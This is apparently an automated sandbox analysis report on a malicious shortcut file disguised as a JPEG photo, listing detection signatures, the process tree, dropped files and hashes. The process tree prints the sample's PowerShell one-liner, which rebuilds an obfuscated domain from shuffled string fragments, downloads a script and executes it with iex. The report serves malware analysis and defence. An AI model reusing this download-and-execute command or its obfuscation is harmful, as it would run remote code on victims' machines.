Analysis

  • max time kernel
    148s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 10:18

General

  • Target
    IMG_20260727_200317.jpg.lnk
  • Size 1KB
  • Sample260728-mca1tagf47
  • SHA256 daccfc4c8470c1811a92adb72edf17867f2400c6871b264d942c1c6c2a0ba02a
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_200317.jpg.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3184
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('reservph','o','n','st','h','o','ay','p','to','ow.s','in')[0,1,8,10,3,6,2,9,4,5,7] -join $rWGkQa9a) -useb | iex
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5908
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iqifbzxy\iqifbzxy.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4204
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3C82.tmp" "c:\Users\Admin\AppData\Local\Temp\iqifbzxy\CSC307D272B70C64054BA2A38E87E4A180.TMP"
          4⤵
            PID:2124

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          RES3C82.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES3C82.tmp
          • Size 1KB
          • SHA256 b5ee7a499cb6914dc4b49a329307d8ddf4660dc3dd985e42377f788f4a108c65
          • MD5 SHA1 SHA512 TLSH

          iqifbzxy.dll

          • Path C:\Users\Admin\AppData\Local\Temp\iqifbzxy\iqifbzxy.dll
          • Size 3KB
          • SHA256 097cb84cacdd30971e784a357b5bf1a183f7de4b1d3fb30b82479b755bf3d3a2
          • MD5 SHA1 SHA512 TLSH

          CSC307D272B70C64054BA2A38E87E4A180.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\iqifbzxy\CSC307D272B70C64054BA2A38E87E4A180.TMP
          • Size 652B
          • SHA256 ffa30e734262d6d17f05b9e789637549c253ff2a4d5e9f278b7c030b8ddc43be
          • MD5 SHA1 SHA512 TLSH

          iqifbzxy.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\iqifbzxy\iqifbzxy.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          iqifbzxy.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\iqifbzxy\iqifbzxy.cmdline
          • Size 369B
          • SHA256 7a5dac43d4d64fdf79c908a6f33db49f8dc91d3c9232f3af2329743cc554f178
          • MD5 SHA1 SHA512 TLSH

          memory/5908-10-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

          memory/5908-18-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

          memory/5908-11-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

          memory/5908-12-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

          memory/5908-13-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

          memory/5908-14-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

          memory/5908-15-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

          memory/5908-16-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

          memory/5908-17-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

          memory/5908-2-0x00007FFE1914F000-0x00007FFE19150000-memory.dmp

          memory/5908-19-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

          memory/5908-9-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

          memory/5908-8-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

          memory/5908-7-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

          memory/5908-6-0x000002206E790000-0x000002206E7B2000-memory.dmp

          memory/5908-3-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

          memory/5908-33-0x000002206E760000-0x000002206E768000-memory.dmp

          memory/5908-34-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

          memory/5908-35-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

          memory/5908-39-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp